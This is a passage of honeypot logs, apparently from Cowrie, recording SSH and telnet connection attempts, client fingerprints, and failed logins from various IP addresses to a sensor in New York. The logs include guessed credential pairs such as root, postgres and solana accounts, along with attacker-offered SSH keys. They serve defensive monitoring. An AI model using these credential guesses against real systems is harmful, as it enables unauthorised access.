98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:05:37.952494Z","src_ip":"103.15.226.202","session":"cb745320750a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd1234567@","message":"login attempt [root/asd1234567@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:05:38.681363Z","src_ip":"103.15.226.202","session":"cb745320750a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":28511,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a87cb954fa2","protocol":"ssh","message":"New connection: 202.165.15.132:28511 (10.17.0.5:22) [session: 4a87cb954fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:05:38.937209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:05:38.941453Z","src_ip":"202.165.15.132","session":"4a87cb954fa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:05:39.186123Z","src_ip":"202.165.15.132","session":"4a87cb954fa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:05:39.925926Z","src_ip":"103.15.226.202","session":"cb745320750a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres2022","message":"login attempt [postgres/postgres2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:05:40.178728Z","src_ip":"202.165.15.132","session":"4a87cb954fa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:05:41.424310Z","src_ip":"202.165.15.132","session":"4a87cb954fa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":34096,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9f5b19502ac","protocol":"ssh","message":"New connection: 2.57.122.210:34096 (10.17.0.5:22) [session: c9f5b19502ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:05:56.642102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:05:56.686002Z","src_ip":"2.57.122.210","session":"c9f5b19502ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:05:56.794279Z","src_ip":"2.57.122.210","session":"c9f5b19502ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:05:57.809379Z","src_ip":"2.57.122.210","session":"c9f5b19502ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:05:59.121023Z","src_ip":"2.57.122.210","session":"c9f5b19502ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":13846,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ea2e87d6feb","protocol":"ssh","message":"New connection: 202.165.15.132:13846 (10.17.0.5:22) [session: 5ea2e87d6feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:06:38.117837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:06:38.122741Z","src_ip":"202.165.15.132","session":"5ea2e87d6feb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:06:38.366904Z","src_ip":"202.165.15.132","session":"5ea2e87d6feb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu01","password":"ubuntu01","message":"login attempt [ubuntu01/ubuntu01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:06:39.376701Z","src_ip":"202.165.15.132","session":"5ea2e87d6feb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:06:40.624498Z","src_ip":"202.165.15.132","session":"5ea2e87d6feb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.02298784255981,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:07:02.624682Z","src_ip":"212.55.149.117","session":"f6cb5cff602f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":6940,"dst_ip":"10.17.0.5","dst_port":23,"session":"4af53db6f80d","protocol":"telnet","message":"New connection: 212.55.149.117:6940 (10.17.0.5:23) [session: 4af53db6f80d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:07:04.130746Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":55843,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4b3f469de3f","protocol":"ssh","message":"New connection: 202.165.15.132:55843 (10.17.0.5:22) [session: d4b3f469de3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:07:35.449144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:07:35.454144Z","src_ip":"202.165.15.132","session":"d4b3f469de3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:07:35.700434Z","src_ip":"202.165.15.132","session":"d4b3f469de3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"testing","message":"login attempt [tester/testing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:07:36.701258Z","src_ip":"202.165.15.132","session":"d4b3f469de3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":3797,"dst_ip":"10.17.0.5","dst_port":23,"session":"18e7af9e848e","protocol":"telnet","message":"New connection: 212.55.149.117:3797 (10.17.0.5:23) [session: 18e7af9e848e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:07:37.313498Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:07:37.946247Z","src_ip":"202.165.15.132","session":"d4b3f469de3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":49328,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d5ea53c6680","protocol":"ssh","message":"New connection: 193.32.162.145:49328 (10.17.0.5:22) [session: 6d5ea53c6680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:07:46.208380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:07:46.214164Z","src_ip":"193.32.162.145","session":"6d5ea53c6680","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:07:46.311068Z","src_ip":"193.32.162.145","session":"6d5ea53c6680","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"postgres","message":"login attempt [solana/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:07:46.600727Z","src_ip":"193.32.162.145","session":"6d5ea53c6680","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:07:47.700585Z","src_ip":"193.32.162.145","session":"6d5ea53c6680","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.255.100.12","src_port":41338,"dst_ip":"10.17.0.5","dst_port":22,"session":"82bb7883f4c1","protocol":"ssh","message":"New connection: 185.255.100.12:41338 (10.17.0.5:22) [session: 82bb7883f4c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:28.902741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:28.910533Z","src_ip":"185.255.100.12","session":"82bb7883f4c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:28.918251Z","src_ip":"185.255.100.12","session":"82bb7883f4c1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:5e:74:96:41:a7:96:69:31:4b:cc:c8:80:ef:92:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDE1+4+DpvEy8L/XHsw5IS6BrYStlKh046Wxhph6mIHaU2eKkDKPrebu4kLOysxc/InDPHQtj0ds3Ou97023Ce/BBZ1YSUChNvalUW7qH69dNjDSEmskCp0BxTlw/qlsFaGBOT4PQjBs35UL4qwhl6cxTKtqQHw0GSJO6fcHpM2cTrg8BjeAJvnEzgkrWjkesyuzUDemIQ9GrlgSMN8naCHty6r07PINqqtVfSr2RoJZiQdmtv1dHM/QOvmmJAF7ibZd6w8irH4Q3efmZY5Z3gbfDrfzaZELFPYVTOjtgG8gO5wne4m7li1636WgxJHM0eR/IrmF2Bh9XNser98Whsu4vzSgwZvh3vAmRTtU6+C+4sfCTxaqLIL8D9tAkzvJgtS8llt34QDrWR547ddw5veRx/7cDCd0rWOPozvmV3egl/DMeHrED3zMfs5V1SN6V1QJjklbG1nDa74b+FbpuFolccbbQ9P6Wjg0rqInE+CHgf8JVm24f+Pe3YMH6fU2CM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:5e:74:96:41:a7:96:69:31:4b:cc:c8:80:ef:92:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:28.936769Z","src_ip":"185.255.100.12","session":"82bb7883f4c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:5e:74:96:41:a7:96:69:31:4b:cc:c8:80:ef:92:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDE1+4+DpvEy8L/XHsw5IS6BrYStlKh046Wxhph6mIHaU2eKkDKPrebu4kLOysxc/InDPHQtj0ds3Ou97023Ce/BBZ1YSUChNvalUW7qH69dNjDSEmskCp0BxTlw/qlsFaGBOT4PQjBs35UL4qwhl6cxTKtqQHw0GSJO6fcHpM2cTrg8BjeAJvnEzgkrWjkesyuzUDemIQ9GrlgSMN8naCHty6r07PINqqtVfSr2RoJZiQdmtv1dHM/QOvmmJAF7ibZd6w8irH4Q3efmZY5Z3gbfDrfzaZELFPYVTOjtgG8gO5wne4m7li1636WgxJHM0eR/IrmF2Bh9XNser98Whsu4vzSgwZvh3vAmRTtU6+C+4sfCTxaqLIL8D9tAkzvJgtS8llt34QDrWR547ddw5veRx/7cDCd0rWOPozvmV3egl/DMeHrED3zMfs5V1SN6V1QJjklbG1nDa74b+FbpuFolccbbQ9P6Wjg0rqInE+CHgf8JVm24f+Pe3YMH6fU2CM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:28.940647Z","src_ip":"185.255.100.12","session":"82bb7883f4c1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:45:4d:78:1b:45:ef:a3:39:3f:29:56:b6:f6:77:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFI/j1NXVkRXf2GjDr02fmJBldxlcV2MF1dBgXQz/0vBno/fDEg1D17lcySJchPna5uUPyXsv4P3ktWOWUKrDFwMk3/BhDgsjfdifI/QE88pp39O98StrtPMhxL31sPGT8QlYoeu9Xc303eSl0K+FHFlnOnLi/lBpzUD4UtFxBwGKbaUFGjJXHzot98QbUwzU60hhD2bR/Wv7sK75b6jCVYQgrC/18TG1Ni854j19p4Rvv10I6ZnrD1NdrSyjzNFB7dQL4P1a1ATUgqtckVjL583ANLtcMOUSqTCtOf5DL2vUgWOhFqGeLB4oQfX/UE9gUXYVOmLk5/lQH0nQvQIGg9l/8rNEzKjv/9ilHkxP6ZC+SvkP2+XNXnp7neAvjWT5tAPfdmz8J/1QYlI1YKurLGNdFOh1955R2WMWwnLJ0iDGqzVXG0ZnzgaBClLU+1B4wvc+2KNrOn/kj469aKrFhCKqGNY4FMdPy4J2j24ot+FqMPF5U6imLr+Gf2+LEzK2N0hEPFnZB/IScietIqVU9pBEN85VGcAyunzjA07rLZ3D0WIn4OLSlb5YRNuV0YJ4+8y8X4uncQSNjEzNNDtm+2VZR3eXVIcd/Hq7nwUiq7NtP3IvoXRdVH4KmjmcrvoDbtWa4TjZY/fy/WwzZLY6XqKwuiGY8+8X197zT0myrMQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ba:45:4d:78:1b:45:ef:a3:39:3f:29:56:b6:f6:77:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:28.948978Z","src_ip":"185.255.100.12","session":"82bb7883f4c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:45:4d:78:1b:45:ef:a3:39:3f:29:56:b6:f6:77:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFI/j1NXVkRXf2GjDr02fmJBldxlcV2MF1dBgXQz/0vBno/fDEg1D17lcySJchPna5uUPyXsv4P3ktWOWUKrDFwMk3/BhDgsjfdifI/QE88pp39O98StrtPMhxL31sPGT8QlYoeu9Xc303eSl0K+FHFlnOnLi/lBpzUD4UtFxBwGKbaUFGjJXHzot98QbUwzU60hhD2bR/Wv7sK75b6jCVYQgrC/18TG1Ni854j19p4Rvv10I6ZnrD1NdrSyjzNFB7dQL4P1a1ATUgqtckVjL583ANLtcMOUSqTCtOf5DL2vUgWOhFqGeLB4oQfX/UE9gUXYVOmLk5/lQH0nQvQIGg9l/8rNEzKjv/9ilHkxP6ZC+SvkP2+XNXnp7neAvjWT5tAPfdmz8J/1QYlI1YKurLGNdFOh1955R2WMWwnLJ0iDGqzVXG0ZnzgaBClLU+1B4wvc+2KNrOn/kj469aKrFhCKqGNY4FMdPy4J2j24ot+FqMPF5U6imLr+Gf2+LEzK2N0hEPFnZB/IScietIqVU9pBEN85VGcAyunzjA07rLZ3D0WIn4OLSlb5YRNuV0YJ4+8y8X4uncQSNjEzNNDtm+2VZR3eXVIcd/Hq7nwUiq7NtP3IvoXRdVH4KmjmcrvoDbtWa4TjZY/fy/WwzZLY6XqKwuiGY8+8X197zT0myrMQ==","type":"ssh-rsa","message":"public key login attempt for [root] 